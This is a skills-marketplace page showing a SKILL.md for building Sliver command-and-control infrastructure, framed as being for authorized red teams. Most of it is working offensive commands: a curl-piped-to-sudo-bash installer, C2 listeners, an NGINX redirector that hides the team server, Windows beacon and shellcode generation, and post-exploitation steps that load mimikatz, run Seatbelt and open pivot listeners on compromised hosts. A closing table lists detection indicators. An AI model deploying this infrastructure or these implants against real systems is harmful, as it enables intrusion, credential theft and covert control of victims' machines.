菜单
Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/Undermybelt/hermes-skills --skill c2-infrst-sliver-frmwrk命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Use when retiring old logic, collapsing duplicate owners, removing fallbacks, or touching schema, persistence, or source-of-truth boundaries while deciding whether to delete old paths, retain compatibility, or stop for confirmation.
Use when defining new features, product behavior, UI/component design, architecture choices, contract changes, or ambiguous medium/high-complexity work before implementation.
Use when the user asks for caveman mode, fewer tokens, brief responses, compressed communication, or otherwise explicitly requests a much shorter answer.
基于 SOC 职业分类
正在显示 SKILL.md
| name | c2-infrst-sliver-frmwrk |
| description | Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","c2-framework","sliver","command-and-control","adversary-simulation","infrastructure","post-exploitation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | ["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"] |
| nist_csf | ["ID.RA-01","GV.OV-02","DE.AE-07"] |
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
curl https://sliver.sh/install | sudo bash
systemctl start sliver
# Or run interactively
sliver-server
new-operator --name operator1 --lhost <team-server-ip>
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
dns --domains c2dns.example.com --lport 53
mtls --lhost 0.0.0.0 --lport 8888
wg --lport 51820
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
generate beacon --dns c2dns.example.com --os windows --arch amd64
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
beacons # List active beacons
use <beacon-id> # Interact with a beacon
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
| Tool | Purpose | Platform |
|---|---|---|
| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |
| Sliver Client | Operator console for team members | Cross-platform |
| NGINX | Redirector and reverse proxy | Linux |
| Certbot | Let's Encrypt SSL certificate generation | Linux |
| Cloudflare | CDN and domain fronting | Cloud |
| Armory | Sliver extension/BOF package manager | Built-in |
| Indicator | Detection Method |
|---|---|
| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |